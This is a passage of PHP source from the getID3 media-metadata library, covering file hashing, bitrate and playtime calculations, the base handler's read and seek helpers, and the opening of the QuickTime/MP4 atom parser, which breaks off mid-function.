					$commandline = 'vorbiscomment -w -c '.escapeshellarg($empty).' '.escapeshellarg($file).' '.escapeshellarg($temp).' 2>&1';
					$VorbisCommentError = `$commandline`;

				}

				if (!empty($VorbisCommentError)) {

					$this->warning('Failed making system call to vorbiscomment(.exe) - '.$algorithm.'_data will be incorrect. If vorbiscomment is unavailable, please download from http://www.vorbis.com/download.psp and put in the getID3() directory. Error returned: '.$VorbisCommentError);
					$this->info[$algorithm.'_data'] = false;

				} else {

					// Get hash of newly created file
					switch ($algorithm) {
						case 'md5':
							$this->info[$algorithm.'_data'] = md5_file($temp);
							break;

						case 'sha1':
							$this->info[$algorithm.'_data'] = sha1_file($temp);
							break;
					}
				}

				// Clean up
				unlink($empty);
				unlink($temp);

				// Reset abort setting
				ignore_user_abort($old_abort);

			}

		} else {

			if (!empty($this->info['avdataoffset']) || (isset($this->info['avdataend']) && ($this->info['avdataend'] < $this->info['filesize']))) {

				// get hash from part of file
				$this->info[$algorithm.'_data'] = getid3_lib::hash_data($this->info['filenamepath'], $this->info['avdataoffset'], $this->info['avdataend'], $algorithm);

			} else {

				// get hash from whole file
				switch ($algorithm) {
					case 'md5':
						$this->info[$algorithm.'_data'] = md5_file($this->info['filenamepath']);
						break;

					case 'sha1':
						$this->info[$algorithm.'_data'] = sha1_file($this->info['filenamepath']);
						break;
				}
			}

		}
		return true;
	}

	public function ChannelsBitratePlaytimeCalculations() {

		// set channelmode on audio
		if (!empty($this->info['audio']['channelmode']) || !isset($this->info['audio']['channels'])) {
			// ignore
		} elseif ($this->info['audio']['channels'] == 1) {
			$this->info['audio']['channelmode'] = 'mono';
		} elseif ($this->info['audio']['channels'] == 2) {
			$this->info['audio']['channelmode'] = 'stereo';
		}

		// Calculate combined bitrate - audio + video
		$CombinedBitrate  = 0;
		$CombinedBitrate += (isset($this->info['audio']['bitrate']) ? $this->info['audio']['bitrate'] : 0);
		$CombinedBitrate += (isset($this->info['video']['bitrate']) ? $this->info['video']['bitrate'] : 0);
		if (($CombinedBitrate > 0) && empty($this->info['bitrate'])) {
			$this->info['bitrate'] = $CombinedBitrate;
		}
		//if ((isset($this->info['video']) && !isset($this->info['video']['bitrate'])) || (isset($this->info['audio']) && !isset($this->info['audio']['bitrate']))) {
		//	// for example, VBR MPEG video files cannot determine video bitrate:
		//	// should not set overall bitrate and playtime from audio bitrate only
		//	unset($this->info['bitrate']);
		//}

		// video bitrate undetermined, but calculable
		if (isset($this->info['video']['dataformat']) && $this->info['video']['dataformat'] && (!isset($this->info['video']['bitrate']) || ($this->info['video']['bitrate'] == 0))) {
			// if video bitrate not set
			if (isset($this->info['audio']['bitrate']) && ($this->info['audio']['bitrate'] > 0) && ($this->info['audio']['bitrate'] == $this->info['bitrate'])) {
				// AND if audio bitrate is set to same as overall bitrate
				if (isset($this->info['playtime_seconds']) && ($this->info['playtime_seconds'] > 0)) {
					// AND if playtime is set
					if (isset($this->info['avdataend']) && isset($this->info['avdataoffset'])) {
						// AND if AV data offset start/end is known
						// THEN we can calculate the video bitrate
						$this->info['bitrate'] = round((($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']);
						$this->info['video']['bitrate'] = $this->info['bitrate'] - $this->info['audio']['bitrate'];
					}
				}
			}
		}

		if ((!isset($this->info['playtime_seconds']) || ($this->info['playtime_seconds'] <= 0)) && !empty($this->info['bitrate'])) {
			$this->info['playtime_seconds'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['bitrate'];
		}

		if (!isset($this->info['bitrate']) && !empty($this->info['playtime_seconds'])) {
			$this->info['bitrate'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds'];
		}
		if (isset($this->info['bitrate']) && empty($this->info['audio']['bitrate']) && empty($this->info['video']['bitrate'])) {
			if (isset($this->info['audio']['dataformat']) && empty($this->info['video']['resolution_x'])) {
				// audio only
				$this->info['audio']['bitrate'] = $this->info['bitrate'];
			} elseif (isset($this->info['video']['resolution_x']) && empty($this->info['audio']['dataformat'])) {
				// video only
				$this->info['video']['bitrate'] = $this->info['bitrate'];
			}
		}

		// Set playtime string
		if (!empty($this->info['playtime_seconds']) && empty($this->info['playtime_string'])) {
			$this->info['playtime_string'] = getid3_lib::PlaytimeString($this->info['playtime_seconds']);
		}
	}

	/**
	 * @return bool
	 */
	public function CalculateCompressionRatioVideo() {
		if (empty($this->info['video'])) {
			return false;
		}
		if (empty($this->info['video']['resolution_x']) || empty($this->info['video']['resolution_y'])) {
			return false;
		}
		if (empty($this->info['video']['bits_per_sample'])) {
			return false;
		}

		switch ($this->info['video']['dataformat']) {
			case 'bmp':
			case 'gif':
			case 'jpeg':
			case 'jpg':
			case 'png':
			case 'tiff':
				$FrameRate = 1;
				$PlaytimeSeconds = 1;
				$BitrateCompressed = $this->info['filesize'] * 8;
				break;

			default:
				if (!empty($this->info['video']['frame_rate'])) {
					$FrameRate = $this->info['video']['frame_rate'];
				} else {
					return false;
				}
				if (!empty($this->info['playtime_seconds'])) {
					$PlaytimeSeconds = $this->info['playtime_seconds'];
				} else {
					return false;
				}
				if (!empty($this->info['video']['bitrate'])) {
					$BitrateCompressed = $this->info['video']['bitrate'];
				} else {
					return false;
				}
				break;
		}
		$BitrateUncompressed = $this->info['video']['resolution_x'] * $this->info['video']['resolution_y'] * $this->info['video']['bits_per_sample'] * $FrameRate;

		$this->info['video']['compression_ratio'] = getid3_lib::SafeDiv($BitrateCompressed, $BitrateUncompressed, 1);
		return true;
	}

	/**
	 * @return bool
	 */
	public function CalculateCompressionRatioAudio() {
		if (empty($this->info['audio']['bitrate']) || empty($this->info['audio']['channels']) || empty($this->info['audio']['sample_rate']) || !is_numeric($this->info['audio']['sample_rate'])) {
			return false;
		}
		$this->info['audio']['compression_ratio'] = $this->info['audio']['bitrate'] / ($this->info['audio']['channels'] * $this->info['audio']['sample_rate'] * (!empty($this->info['audio']['bits_per_sample']) ? $this->info['audio']['bits_per_sample'] : 16));

		if (!empty($this->info['audio']['streams'])) {
			foreach ($this->info['audio']['streams'] as $streamnumber => $streamdata) {
				if (!empty($streamdata['bitrate']) && !empty($streamdata['channels']) && !empty($streamdata['sample_rate'])) {
					$this->info['audio']['streams'][$streamnumber]['compression_ratio'] = $streamdata['bitrate'] / ($streamdata['channels'] * $streamdata['sample_rate'] * (!empty($streamdata['bits_per_sample']) ? $streamdata['bits_per_sample'] : 16));
				}
			}
		}
		return true;
	}

	/**
	 * @return bool
	 */
	public function CalculateReplayGain() {
		if (isset($this->info['replay_gain'])) {
			if (!isset($this->info['replay_gain']['reference_volume'])) {
				$this->info['replay_gain']['reference_volume'] = 89.0;
			}
			if (isset($this->info['replay_gain']['track']['adjustment'])) {
				$this->info['replay_gain']['track']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['track']['adjustment'];
			}
			if (isset($this->info['replay_gain']['album']['adjustment'])) {
				$this->info['replay_gain']['album']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['album']['adjustment'];
			}

			if (isset($this->info['replay_gain']['track']['peak'])) {
				$this->info['replay_gain']['track']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['track']['peak']);
			}
			if (isset($this->info['replay_gain']['album']['peak'])) {
				$this->info['replay_gain']['album']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['album']['peak']);
			}
		}
		return true;
	}

	/**
	 * @return bool
	 */
	public function ProcessAudioStreams() {
		if (!empty($this->info['audio']['bitrate']) || !empty($this->info['audio']['channels']) || !empty($this->info['audio']['sample_rate'])) {
			if (!isset($this->info['audio']['streams'])) {
				foreach ($this->info['audio'] as $key => $value) {
					if ($key != 'streams') {
						$this->info['audio']['streams'][0][$key] = $value;
					}
				}
			}
		}
		return true;
	}

	/**
	 * @return string|bool
	 */
	public function getid3_tempnam() {
		return tempnam($this->tempdir, 'gI3');
	}

	/**
	 * @param string $name
	 *
	 * @return bool
	 *
	 * @throws getid3_exception
	 */
	public function include_module($name) {
		//if (!file_exists($this->include_path.'module.'.$name.'.php')) {
		if (!file_exists(GETID3_INCLUDEPATH.'module.'.$name.'.php')) {
			throw new getid3_exception('Required module.'.$name.'.php is missing.');
		}
		include_once(GETID3_INCLUDEPATH.'module.'.$name.'.php');
		return true;
	}

	/**
	 * @param string $filename
	 *
	 * @return bool
	 */
	public static function is_writable ($filename) {
		$ret = is_writable($filename);
		if (!$ret) {
			$perms = fileperms($filename);
			$ret = ($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002);
		}
		return $ret;
	}

}


abstract class getid3_handler
{

	/**
	* @var getID3
	*/
	protected $getid3;                       // pointer

	/**
	 * Analyzing filepointer or string.
	 *
	 * @var bool
	 */
	protected $data_string_flag     = false;

	/**
	 * String to analyze.
	 *
	 * @var string
	 */
	protected $data_string          = '';

	/**
	 * Seek position in string.
	 *
	 * @var int
	 */
	protected $data_string_position = 0;

	/**
	 * String length.
	 *
	 * @var int
	 */
	protected $data_string_length   = 0;

	/**
	 * @var string
	 */
	private $dependency_to;

	/**
	 * getid3_handler constructor.
	 *
	 * @param getID3 $getid3
	 * @param string $call_module
	 */
	public function __construct(getID3 $getid3, $call_module=null) {
		$this->getid3 = $getid3;

		if ($call_module) {
			$this->dependency_to = str_replace('getid3_', '', $call_module);
		}
	}

	/**
	 * Analyze from file pointer.
	 *
	 * @return bool
	 */
	abstract public function Analyze();

	/**
	 * Analyze from string instead.
	 *
	 * @param string $string
	 */
	public function AnalyzeString($string) {
		// Enter string mode
		$this->setStringMode($string);

		// Save info
		$saved_avdataoffset = $this->getid3->info['avdataoffset'];
		$saved_avdataend    = $this->getid3->info['avdataend'];
		$saved_filesize     = (isset($this->getid3->info['filesize']) ? $this->getid3->info['filesize'] : null); // may be not set if called as dependency without openfile() call

		// Reset some info
		$this->getid3->info['avdataoffset'] = 0;
		$this->getid3->info['avdataend']    = $this->getid3->info['filesize'] = $this->data_string_length;

		// Analyze
		$this->Analyze();

		// Restore some info
		$this->getid3->info['avdataoffset'] = $saved_avdataoffset;
		$this->getid3->info['avdataend']    = $saved_avdataend;
		$this->getid3->info['filesize']     = $saved_filesize;

		// Exit string mode
		$this->data_string_flag = false;
	}

	/**
	 * @param string $string
	 */
	public function setStringMode($string) {
		$this->data_string_flag   = true;
		$this->data_string        = $string;
		$this->data_string_length = strlen($string);
	}

	/**
	 * @phpstan-impure
	 *
	 * @return int|bool
	 */
	protected function ftell() {
		if ($this->data_string_flag) {
			return $this->data_string_position;
		}
		return ftell($this->getid3->fp);
	}

	/**
	 * @param int $bytes
	 *
	 * @phpstan-impure
	 *
	 * @return string|false
	 *
	 * @throws getid3_exception
	 */
	protected function fread($bytes) {
		if ($this->data_string_flag) {
			$this->data_string_position += $bytes;
			return substr($this->data_string, $this->data_string_position - $bytes, $bytes);
		}
		if ($bytes == 0) {
			return '';
		} elseif ($bytes < 0) {
			throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().')', 10);
		}
		$pos = $this->ftell() + $bytes;
		if (!getid3_lib::intValueSupported($pos)) {
			throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') because beyond PHP filesystem limit', 10);
		}

		//return fread($this->getid3->fp, $bytes);
		/*
		* https://www.getid3.org/phpBB3/viewtopic.php?t=1930
		* "I found out that the root cause for the problem was how getID3 uses the PHP system function fread().
		* It seems to assume that fread() would always return as many bytes as were requested.
		* However, according the PHP manual (http://php.net/manual/en/function.fread.php), this is the case only with regular local files, but not e.g. with Linux pipes.
		* The call may return only part of the requested data and a new call is needed to get more."
		*/
		$contents = '';
		do {
			//if (($this->getid3->memory_limit > 0) && ($bytes > $this->getid3->memory_limit)) {
			if (($this->getid3->memory_limit > 0) && (($bytes / $this->getid3->memory_limit) > 0.99)) { // enable a more-fuzzy match to prevent close misses generating errors like "PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 33554464 bytes)"
				throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') that is more than available PHP memory ('.$this->getid3->memory_limit.')', 10);
			}
			$part = fread($this->getid3->fp, $bytes);
			$partLength  = strlen($part);
			$bytes      -= $partLength;
			$contents   .= $part;
		} while (($bytes > 0) && ($partLength > 0));
		return $contents;
	}

	/**
	 * @param int $bytes
	 * @param int $whence
	 *
	 * @phpstan-impure
	 *
	 * @return int
	 *
	 * @throws getid3_exception
	 */
	protected function fseek($bytes, $whence=SEEK_SET) {
		if ($this->data_string_flag) {
			switch ($whence) {
				case SEEK_SET:
					$this->data_string_position = $bytes;
					break;

				case SEEK_CUR:
					$this->data_string_position += $bytes;
					break;

				case SEEK_END:
					$this->data_string_position = $this->data_string_length + $bytes;
					break;
			}
			return 0; // fseek returns 0 on success
		}

		$pos = $bytes;
		if ($whence == SEEK_CUR) {
			$pos = $this->ftell() + $bytes;
		} elseif ($whence == SEEK_END) {
			$pos = $this->getid3->info['filesize'] + $bytes;
		}
		if (!getid3_lib::intValueSupported($pos)) {
			throw new getid3_exception('cannot fseek('.$pos.') because beyond PHP filesystem limit', 10);
		}

		// https://github.com/JamesHeinrich/getID3/issues/327
		$result = fseek($this->getid3->fp, $bytes, $whence);
		if ($result !== 0) { // fseek returns 0 on success
			throw new getid3_exception('cannot fseek('.$pos.'). resource/stream does not appear to support seeking', 10);
		}
		return $result;
	}

	/**
	 * @phpstan-impure
	 *
	 * @return string|false
	 *
	 * @throws getid3_exception
	 */
	protected function fgets() {
		// must be able to handle CR/LF/CRLF but not read more than one lineend
		$buffer   = ''; // final string we will return
		$prevchar = ''; // save previously-read character for end-of-line checking
		if ($this->data_string_flag) {
			while (true) {
				$thischar = substr($this->data_string, $this->data_string_position++, 1);
				if (($prevchar == "\r") && ($thischar != "\n")) {
					// read one byte too many, back up
					$this->data_string_position--;
					break;
				}
				$buffer .= $thischar;
				if ($thischar == "\n") {
					break;
				}
				if ($this->data_string_position >= $this->data_string_length) {
					// EOF
					break;
				}
				$prevchar = $thischar;
			}

		} else {

			// Ideally we would just use PHP's fgets() function, however...
			// it does not behave consistently with regards to mixed line endings, may be system-dependent
			// and breaks entirely when given a file with mixed \r vs \n vs \r\n line endings (e.g. some PDFs)
			//return fgets($this->getid3->fp);
			while (true) {
				$thischar = fgetc($this->getid3->fp);
				if (($prevchar == "\r") && ($thischar != "\n")) {
					// read one byte too many, back up
					fseek($this->getid3->fp, -1, SEEK_CUR);
					break;
				}
				$buffer .= $thischar;
				if ($thischar == "\n") {
					break;
				}
				if (feof($this->getid3->fp)) {
					break;
				}
				$prevchar = $thischar;
			}

		}
		return $buffer;
	}

	/**
	 * @phpstan-impure
	 *
	 * @return bool
	 */
	protected function feof() {
		if ($this->data_string_flag) {
			return $this->data_string_position >= $this->data_string_length;
		}
		return feof($this->getid3->fp);
	}

	/**
	 * @param string $module
	 *
	 * @return bool
	 */
	final protected function isDependencyFor($module) {
		return $this->dependency_to == $module;
	}

	/**
	 * @param string $text
	 *
	 * @return bool
	 */
	protected function error($text) {
		$this->getid3->info['error'][] = $text;

		return false;
	}

	/**
	 * @param string $text
	 *
	 * @return bool
	 */
	protected function warning($text) {
		return $this->getid3->warning($text);
	}

	/**
	 * @param string $text
	 */
	protected function notice($text) {
		// does nothing for now
	}

	/**
	 * @param string $name
	 * @param int    $offset
	 * @param int    $length
	 * @param string $image_mime
	 *
	 * @return string|null
	 *
	 * @throws Exception
	 * @throws getid3_exception
	 */
	public function saveAttachment($name, $offset, $length, $image_mime=null) {
		$fp_dest = null;
		$dest = null;
		try {

			// do not extract at all
			if ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_NONE) {

				$attachment = null; // do not set any

			// extract to return array
			} elseif ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_INLINE) {

				$this->fseek($offset);
				$attachment = $this->fread($length); // get whole data in one pass, till it is anyway stored in memory
				if ($attachment === false || strlen($attachment) != $length) {
					throw new Exception('failed to read attachment data');
				}

			// assume directory path is given
			} else {

				// set up destination path
				$dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR);
				if (!is_dir($dir) || !getID3::is_writable($dir)) { // check supplied directory
					throw new Exception('supplied path ('.$dir.') does not exist, or is not writable');
				}
				$dest = $dir.DIRECTORY_SEPARATOR.$name.($image_mime ? '.'.getid3_lib::ImageExtFromMime($image_mime) : '');

				// create dest file
				if (($fp_dest = fopen($dest, 'wb')) == false) {
					throw new Exception('failed to create file '.$dest);
				}

				// copy data
				$this->fseek($offset);
				$buffersize = ($this->data_string_flag ? $length : $this->getid3->fread_buffer_size());
				$bytesleft = $length;
				while ($bytesleft > 0) {
					if (($buffer = $this->fread(min($buffersize, $bytesleft))) === false || ($byteswritten = fwrite($fp_dest, $buffer)) === false || ($byteswritten === 0)) {
						throw new Exception($buffer === false ? 'not enough data to read' : 'failed to write to destination file, may be not enough disk space');
					}
					$bytesleft -= $byteswritten;
				}

				fclose($fp_dest);
				$attachment = $dest;

			}

		} catch (Exception $e) {

			// close and remove dest file if created
			if (isset($fp_dest) && is_resource($fp_dest)) {
				fclose($fp_dest);
			}

			if (isset($dest) && file_exists($dest)) {
				unlink($dest);
			}

			// do not set any is case of error
			$attachment = null;
			$this->warning('Failed to extract attachment '.$name.': '.$e->getMessage());

		}

		// seek to the end of attachment
		$this->fseek($offset + $length);

		return $attachment;
	}

}


class getid3_exception extends Exception
{
	public $message;
}
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.quicktime.php                            //
// module for analyzing Quicktime and MP3-in-MP4 files         //
// dependencies: module.audio.mp3.php                          //
// dependencies: module.tag.id3v2.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); // needed for ISO 639-2 language code lookup

class getid3_quicktime extends getid3_handler
{

	/** audio-video.quicktime
	 * return all parsed data from all atoms if true, otherwise just returned parsed metadata
	 *
	 * @var bool
	 */
	public $ReturnAtomData        = false;

	/** audio-video.quicktime
	 * return all parsed data from all atoms if true, otherwise just returned parsed metadata
	 *
	 * @var bool
	 */
	public $ParseAllPossibleAtoms = false;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$info['fileformat'] = 'quicktime';
		$info['quicktime']['hinting']    = false;
		$info['quicktime']['controller'] = 'standard'; // may be overridden if 'ctyp' atom is present

		$this->fseek($info['avdataoffset']);

		$offset      = 0;
		$atomcounter = 0;
		$atom_data_read_buffer_size = $info['php_memory_limit'] ? round($info['php_memory_limit'] / 4) : $this->getid3->option_fread_buffer_size * 1024; // set read buffer to 25% of PHP memory limit (if one is specified), otherwise use option_fread_buffer_size [default: 32MB]
		while ($offset < $info['avdataend']) {
			if (!getid3_lib::intValueSupported($offset)) {
				$this->error('Unable to parse atom at offset '.$offset.' because beyond '.round(PHP_INT_MAX / 1073741824).'GB limit of PHP filesystem functions');
				break;
			}
			$this->fseek($offset);
			$AtomHeader = $this->fread(8);

			// https://github.com/JamesHeinrich/getID3/issues/382
			// Atom sizes are stored as 32-bit number in most cases, but sometimes (notably for "mdat")
			// a 64-bit value is required, in which case the normal 32-bit size field is set to 0x00000001
			// and the 64-bit "real" size value is the next 8 bytes.
			$atom_size_extended_bytes = 0;
			$atomsize = getid3_lib::BigEndian2Int(substr($AtomHeader, 0, 4));
			$atomname = substr($AtomHeader, 4, 4);
			if ($atomsize == 1) {
				$atom_size_extended_bytes = 8;
				$atomsize = getid3_lib::BigEndian2Int($this->fread($atom_size_extended_bytes));
			}

			if (($offset + $atomsize) > $info['avdataend']) {
				$info['quicktime'][$atomname]['name']   = $atomname;
				$info['quicktime'][$atomname]['size']   = $atomsize;
				$info['quicktime'][$atomname]['offset'] = $offset;
				$this->error('Atom at offset '.$offset.' claims to go beyond end-of-file (length: '.$atomsize.' bytes)');
				return false;
			}
			if ($atomsize == 0) {
				// Furthermore, for historical reasons the list of atoms is optionally
				// terminated by a 32-bit integer set to 0. If you are writing a program
				// to read user data atoms, you should allow for the terminating 0.
				$info['quicktime'][$atomname]['name']   = $atomname;
				$info['quicktime'][$atomname]['size']   = $atomsize;
				$info['quicktime'][$atomname]['offset'] = $offset;
				break;
			}
			$atomHierarchy = array();
			$parsedAtomData = $this->QuicktimeParseAtom($atomname, $atomsize, $this->fread(min($atomsize - $atom_size_extended_bytes, $atom_data_read_buffer_size)), $offset, $atomHierarchy, $this->ParseAllPossibleAtoms);
			$parsedAtomData['name']   = $atomname;
			$parsedAtomData['size']   = $atomsize;
			$parsedAtomData['offset'] = $offset;
			if ($atom_size_extended_bytes) {
				$parsedAtomData['xsize_bytes'] = $atom_size_extended_bytes;
			}
			if (in_array($atomname, array('uuid'))) {
				@$info['quicktime'][$atomname][] = $parsedAtomData;
			} else {
				$info['quicktime'][$atomname] = $parsedAtomData;
			}

			$offset += $atomsize;
			$atomcounter++;
		}

		if (!empty($info['avdataend_tmp'])) {
			// this value is assigned to a temp value and then erased because
			// otherwise any atoms beyond the 'mdat' atom would not get parsed
			$info['avdataend'] = $info['avdataend_tmp'];
			unset($info['avdataend_tmp']);
		}

		if (isset($info['quicktime']['comments']['chapters']) && is_array($info['quicktime']['comments']['chapters']) && (count($info['quicktime']['comments']['chapters']) > 0)) {
			$durations = $this->quicktime_time_to_sample_table($info);
			for ($i = 0; $i < count($info['quicktime']['comments']['chapters']); $i++) {
				$bookmark = array();
				$bookmark['title'] = $info['quicktime']['comments']['chapters'][$i];
				if (isset($durations[$i])) {
					$bookmark['duration_sample'] = $durations[$i]['sample_duration'];
					if ($i > 0) {
						$bookmark['start_sample'] = $info['quicktime']['bookmarks'][($i - 1)]['start_sample'] + $info['quicktime']['bookmarks'][($i - 1)]['duration_sample'];
					} else {
						$bookmark['start_sample'] = 0;
					}
					if ($time_scale = $this->quicktime_bookmark_time_scale($info)) {
						$bookmark['duration_seconds'] = $bookmark['duration_sample'] / $time_scale;
						$bookmark['start_seconds']    = $bookmark['start_sample']    / $time_scale;
					}
				}
				$info['quicktime']['bookmarks'][] = $bookmark;
			}
		}

		if (isset($info['quicktime']['temp_meta_key_names'])) {
			unset($info['quicktime']['temp_meta_key_names']);
		}

		if (!empty($info['quicktime']['comments']['location.ISO6709'])) {
			// https://en.wikipedia.org/wiki/ISO_6709
			foreach ($info['quicktime']['comments']['location.ISO6709'] as $ISO6709string) {
				$ISO6709parsed = array('latitude'=>false, 'longitude'=>false, 'altitude'=>false);
				if (preg_match('#^([\\+\\-])([0-9]{2}|[0-9]{4}|[0-9]{6})(\\.[0-9]+)?([\\+\\-])([0-9]{3}|[0-9]{5}|[0-9]{7})(\\.[0-9]+)?(([\\+\\-])([0-9]{3}|[0-9]{5}|[0-9]{7})(\\.[0-9]+)?)?/$#', $ISO6709string, $matches)) {
					// phpcs:ignore PHPCompatibility.Lists.AssignmentOrder.Affected
					@list($dummy, $lat_sign, $lat_deg, $lat_deg_dec, $lon_sign, $lon_deg, $lon_deg_dec, $dummy, $alt_sign, $alt_deg, $alt_deg_dec) = $matches;

					if (strlen($lat_deg) == 2) {        // [+-]DD.D
						$ISO6709parsed['latitude'] = (($lat_sign == '-') ? -1 : 1) * floatval(ltrim($lat_deg, '0').$lat_deg_dec);
					} elseif (strlen($lat_deg) == 4) {  // [+-]DDMM.M
						$ISO6709parsed['latitude'] = (($lat_sign == '-') ? -1 : 1) * floatval(ltrim(substr($lat_deg, 0, 2), '0')) + floatval(ltrim(substr($lat_deg, 2, 2), '0').$lat_deg_dec / 60);
					} elseif (strlen($lat_deg) == 6) {  // [+-]DDMMSS.S
						$ISO6709parsed['latitude'] = (($lat_sign == '-') ? -1 : 1) * floatval(ltrim(substr($lat_deg, 0, 2), '0')) + floatval((int) ltrim(substr($lat_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($lat_deg, 4, 2), '0').$lat_deg_dec / 3600);
					}

					if (strlen($lon_deg) == 3) {        // [+-]DDD.D
						$ISO6709parsed['longitude'] = (($lon_sign == '-') ? -1 : 1) * floatval(ltrim($lon_deg, '0').$lon_deg_dec);
					} elseif (strlen($lon_deg) == 5) {  // [+-]DDDMM.M
						$ISO6709parsed['longitude'] = (($lon_sign == '-') ? -1 : 1) * floatval(ltrim(substr($lon_deg, 0, 2), '0')) + floatval(ltrim(substr($lon_deg, 2, 2), '0').$lon_deg_dec / 60);
					} elseif (strlen($lon_deg) == 7) {  // [+-]DDDMMSS.S
						$ISO6709parsed['longitude'] = (($lon_sign == '-') ? -1 : 1) * floatval(ltrim(substr($lon_deg, 0, 2), '0')) + floatval((int) ltrim(substr($lon_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($lon_deg, 4, 2), '0').$lon_deg_dec / 3600);
					}

					if (strlen($alt_deg) == 3) {        // [+-]DDD.D
						$ISO6709parsed['altitude'] = (($alt_sign == '-') ? -1 : 1) * floatval(ltrim($alt_deg, '0').$alt_deg_dec);
					} elseif (strlen($alt_deg) == 5) {  // [+-]DDDMM.M
						$ISO6709parsed['altitude'] = (($alt_sign == '-') ? -1 : 1) * floatval(ltrim(substr($alt_deg, 0, 2), '0')) + floatval(ltrim(substr($alt_deg, 2, 2), '0').$alt_deg_dec / 60);
					} elseif (strlen($alt_deg) == 7) {  // [+-]DDDMMSS.S
						$ISO6709parsed['altitude'] = (($alt_sign == '-') ? -1 : 1) * floatval(ltrim(substr($alt_deg, 0, 2), '0')) + floatval((int) ltrim(substr($alt_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($alt_deg, 4, 2), '0').$alt_deg_dec / 3600);
					}

					foreach (array('latitude', 'longitude', 'altitude') as $key) {
						if ($ISO6709parsed[$key] !== false) {
							$value = (($lat_sign == '-') ? -1 : 1) * floatval($ISO6709parsed[$key]);
							if (!isset($info['quicktime']['comments']['gps_'.$key]) || !in_array($value, $info['quicktime']['comments']['gps_'.$key])) {
								@$info['quicktime']['comments']['gps_'.$key][] = (($lat_sign == '-') ? -1 : 1) * floatval($ISO6709parsed[$key]);
							}
						}
					}
				}
				if ($ISO6709parsed['latitude'] === false) {
					$this->warning('location.ISO6709 string not parsed correctly: "'.$ISO6709string.'", please submit as a bug');
				}
				break;
			}
		}

		if (!isset($info['bitrate']) && !empty($info['playtime_seconds'])) {
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}
		if (isset($info['bitrate']) && !isset($info['audio']['bitrate']) && !isset($info['quicktime']['video'])) {
			$info['audio']['bitrate'] = $info['bitrate'];
		}
		if (!empty($info['bitrate']) && !empty($info['audio']['bitrate']) && empty($info['video']['bitrate']) && !empty($info['video']['frame_rate']) && !empty($info['video']['resolution_x']) && ($info['bitrate'] > $info['audio']['bitrate'])) {
			$info['video']['bitrate'] = $info['bitrate'] - $info['audio']['bitrate'];
		}
		if (!empty($info['playtime_seconds']) && !isset($info['video']['frame_rate']) && !empty($info['quicktime']['stts_framecount'])) {
			foreach ($info['quicktime']['stts_framecount'] as $key => $samples_count) {
				$samples_per_second = $samples_count / $info['playtime_seconds'];
				if ($samples_per_second > 240) {
					// has to be audio samples
				} else {
					$info['video']['frame_rate'] = $samples_per_second;
					break;
				}
			}
		}
		if ($info['audio']['dataformat'] == 'mp4') {
			$info['fileformat'] = 'mp4';
			if (empty($info['video']['resolution_x'])) {
				$info['mime_type']  = 'audio/mp4';
				unset($info['video']['dataformat']);
			} else {
				$info['mime_type']  = 'video/mp4';
			}
		}

		if (!$this->ReturnAtomData) {
			unset($info['quicktime']['moov']);
		}

		if (empty($info['audio']['dataformat']) && !empty($info['quicktime']['audio'])) {
			$info['audio']['dataformat'] = 'quicktime';
		}
		if (empty($info['video']['dataformat']) && !empty($info['quicktime']['video'])) {
			$info['video']['dataformat'] = 'quicktime';
		}
		if (isset($info['video']) && ($info['mime_type'] == 'audio/mp4') && empty($info['video']['resolution_x']) && empty($info['video']['resolution_y']))  {
			unset($info['video']);
		}

		return true;
	}

	/**
	 * @param string $atomname
	 * @param int    $atomsize
	 * @param string $atom_data
	 * @param int    $baseoffset
	 * @param array  $atomHierarchy
	 * @param bool   $ParseAllPossibleAtoms
	 *
	 * @return array|false
	 */
	public function QuicktimeParseAtom($atomname, $atomsize, $atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) {
		// http://developer.apple.com/techpubs/quicktime/qtdevdocs/APIREF/INDEX/atomalphaindex.htm
		// https://code.google.com/p/mp4v2/wiki/iTunesMetadata

		$info = &$this->getid3->info;

		$atom_parent = end($atomHierarchy); // not array_pop($atomHierarchy); see https://www.getid3.org/phpBB3/viewtopic.php?t=1717
		array_push($atomHierarchy, $atomname);
		$atom_structure              = array();
		$atom_structure['hierarchy'] = implode(' ', $atomHierarchy);
		$atom_structure['name']      = $atomname;
		$atom_structure['size']      = $atomsize;
		$atom_structure['offset']    = $baseoffset;
		if (substr($atomname, 0, 3) == "\x00\x00\x00") {
			// https://github.com/JamesHeinrich/getID3/issues/139
			$atomname = getid3_lib::BigEndian2Int($atomname);
			$atom_structure['name'] = $atomname;
